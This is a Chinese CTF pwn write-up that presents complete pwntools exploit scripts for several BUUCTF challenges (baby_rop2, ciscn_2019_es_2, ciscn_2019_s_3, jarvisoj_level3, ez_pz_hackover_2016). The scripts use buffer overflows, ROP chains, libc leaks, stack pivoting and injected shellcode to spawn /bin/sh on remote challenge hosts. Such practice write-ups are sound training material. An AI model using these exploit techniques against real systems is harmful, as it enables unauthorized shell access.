概述
[HarekazeCTF2019]baby_rop2
64位程序,ret2libc ROP即可
exp
from pwn import *
context(os='linux', arch='i386', log_level='debug')
r = remote('node4.buuoj.cn',29388)
#r = process('./babyrop2')
elf = ELF('./babyrop2')
libc = ELF('./libc.so.6')
rdi = 0x400733
rsi = 0x400731
format_string = 0x400770 # %s
read_got = elf.got['read']
print_got = elf.got['printf']
printf_plt = elf.plt['printf']
main = elf.sym['main']
r.recvuntil("What's your name? ")
payload = b'a'*(0x20+8)+p64(rdi)+p64(format_string)+p64(rsi)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main)
#payload = b'a'*(0x20+8)+p64(rdi)+p64(read_got)+p64(printf_plt)+p64(main)
r.sendline(payload)
read_addr=u64(r.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
log.info("read_addr: "+hex(read_addr))
offset = read_addr - libc.symbols['read']
system = offset + libc.symbols['system']
bin_sh = offset + libc.search(b'/bin/sh').__next__()
payload2=b'a'*(0x20+8)+p64(rdi)+p64(bin_sh)+p64(system)+p64(main)
r.recvuntil("What's your name? ")
r.sendline(payload2)
r.interactive()
ciscn_2019_es_2(栈迁移)
好文共赏,读完必会:栈迁移原理介绍与应用
首先main函数存在溢出点,无法写shellcode到bss段,所以能利用的点,只有把system等写到缓冲区s的地址,然后利用栈迁移控制eip的值,利用下面再分析
存在system函数
既然要写到 s 的地址,目标机器栈上地址要被泄露出来,然后根据本地调试出来的偏移,去准确的锁定目标机器的 s 地址,通过printf可以泄露目前栈上ebp的值(即main函数的基地址),现在本地调试偏移
一个断点下到printf,查看stack情况,输入的aaaa到了 0xffffd160,main函数的ebp在0xffffd198 二者相差了0x38
寻找 leave ; ret指令
exp
from pwn import *
context(os='linux', arch='i386', log_level='debug')
r = remote('node4.buuoj.cn',26776)
# leave: mov esp,ebp;
# pop ebp;
# ret: pop eip;
leave_ret = 0x080484b8
system_addr = 0x08048400
# 泄漏 ebp
payload = b'a'*0x27+b'b'
r.send(payload)
r.recvuntil('b')
ebp_addr = u32(r.recv(4))
log.info("ebp_addr =>"+hex(ebp_addr))
payload2 = b'aaaa'
payload2+= p32(system_addr)
payload2+= p32(0)
payload2+= p32(ebp_addr - 0x28) # system need a address
payload2+= b'/bin/shx00'
payload2 = payload2.ljust(0x28,b'a')
payload2+= p32(ebp_addr - 0x38) # pop ebp => change ebp to evil ebp
payload2+= p32(leave_ret) # ret -> leave_ret;change esp
r.sendline(payload2)
r.interactive()
babyheap_0ctf_2017(堆)
好家伙,直接干到堆了,先去学习一下
jarvisoj_tell_me_something
64位栈溢出,这题有个坑点,所以以后还是多看一手汇编代码
直接sub rsp,88h,将栈顶指针减了88h给v4变量,然后结束里面的函数栈帧后直接add后就是ret指令,没有rbp的事情,所以payload直接padding加ret地址就行了
exp
from pwn import *
context(os='linux', arch='i386', log_level='debug')
r = remote('node4.buuoj.cn',28031)
payload = b'a'*0x88+p64(0x400620)
r.sendlineafter('Input your message:n',payload)
r.interactive()
ciscn_2019_s_3
ret2csu
64位,vuln函数存在系统调用
32位:
传参方式:首先将系统调用号 传入 eax,然后将参数 从左到右 依次存入 ebx,ecx,edx寄存器中,返回值存在eax寄存器
调用号:sys_read 的调用号 为 3 ,sys_write 的调用号 为 4
调用方式: 使用 int 80h 中断进行系统调用
64位:
传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器
调用号:sys_read 的调用号 为 0 ,sys_write 的调用号 为 1
stub_execve 的调用号 为 59
stub_rt_sigreturn 的调用号 为 15
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
r = remote("node4.buuoj.cn",28398)
#r = process('./level3')
#r = gdb.debug("./level3","b main")
elf = ELF('./ciscn_s_3')
main = elf.symbols['main']
syscall = 0x0400517
pop_rdi = 0x04005a3
pop6_ret = 0x040059a
rdx_rsi_call = 0x0400580
int59 = 0x04004E2
vuln = 0x04004ED
payload = b'/bin/shx00'*2+p64(vuln)
r.sendline(payload)
r.recv(0x20)
bin_sh = u64(r.recv(8))-0x118
log.info("bin_sh -> "+hex(bin_sh))
payload = b'/bin/shx00'*2+p64(pop6_ret)+p64(0)*2+p64(bin_sh+0x50)+p64(0)*3+p64(rdx_rsi_call)
payload += p64(int59)+p64(pop_rdi)+p64(bin_sh)+p64(syscall)
r.sendline(payload)
r.interactive()
jarvisoj_level3
ret2libc,exp
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
r = remote("node4.buuoj.cn",26164)
#r = process('./level3')
#r = gdb.debug("./level3","b main")
elf = ELF('./level3')
#lib = ELF('./libc-2.23.so')
write_plt = elf.plt['write']
write_got = elf.got['write']
main = 0x0804844B
payload = b'a'*0x88+b'b'*0x4
payload += p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
r.sendlineafter('Input:n',payload)
write_addr = u32(r.recv(4))
log.success('write_addr: ' + str(hex(write_addr)))
lib = LibcSearcher('write',write_addr)
offset = write_addr - lib.dump('write')
sys_addr = lib.dump('system') + offset
#binsh_addr = lib.search(b'/bin/sh').__next__() + offset
binsh_addr = lib.dump('str_bin_sh') + offset
log.success('sys_addr: '+ str(hex(sys_addr)))
log.success('bin/sh_addr: ' + str(hex(binsh_addr)))
payload2 = b'a'*0x88+b'b'*0x4
payload2 += p32(sys_addr) + b'a'*0x4 + p32(binsh_addr)
r.sendline(payload2)
r.interactive()
ez_pz_hackover_2016
栈可执行
程序逻辑如下
写shellcode到栈中,利用溢出点,ret到shellcode的地址。但是这道题,栈中覆盖到ebp的距离不是0x32,26个字节就已经覆盖ebp了。
payload = b'crashmex00'+b'a'*18 + b'b'*4 # 8+18=26 覆盖ebp,4覆盖ret
现在已经能控制ret的地址了,再往栈上写shellcode,本地调试出偏移,利用泄露的s的地址减去偏移就是shellcode的地址,再ret到这里完成shell!
payload = b'crashmex00'+b'a'*18 + b'b'*4 + b'test'
相差0x1c偏移
from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
r = remote("node4.buuoj.cn",28657)
#r = process('./ez_pz_hackover_2016')
#r = gdb.debug("./ez_pz_hackover_2016","b * 0x08048602")
r.recvuntil("crash: ")
s_addr=int(r.recv(10),16)
shellcode = asm(shellcraft.sh())
payload = b"crashmex00" + b"a"*18 + p32(s_addr-0x1c) + shellcode
r.sendlineafter('> ',payload)
r.interactive()
最后
以上就是碧蓝大侠为你收集整理的BUU-pwn(四)[HarekazeCTF2019]baby_rop2ciscn_2019_es_2(栈迁移)babyheap_0ctf_2017(堆)jarvisoj_tell_me_somethingciscn_2019_s_3jarvisoj_level3ez_pz_hackover_2016的全部内容,希望文章能够帮你解决BUU-pwn(四)[HarekazeCTF2019]baby_rop2ciscn_2019_es_2(栈迁移)babyheap_0ctf_2017(堆)jarvisoj_tell_me_somethingciscn_2019_s_3jarvisoj_level3ez_pz_hackover_2016所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复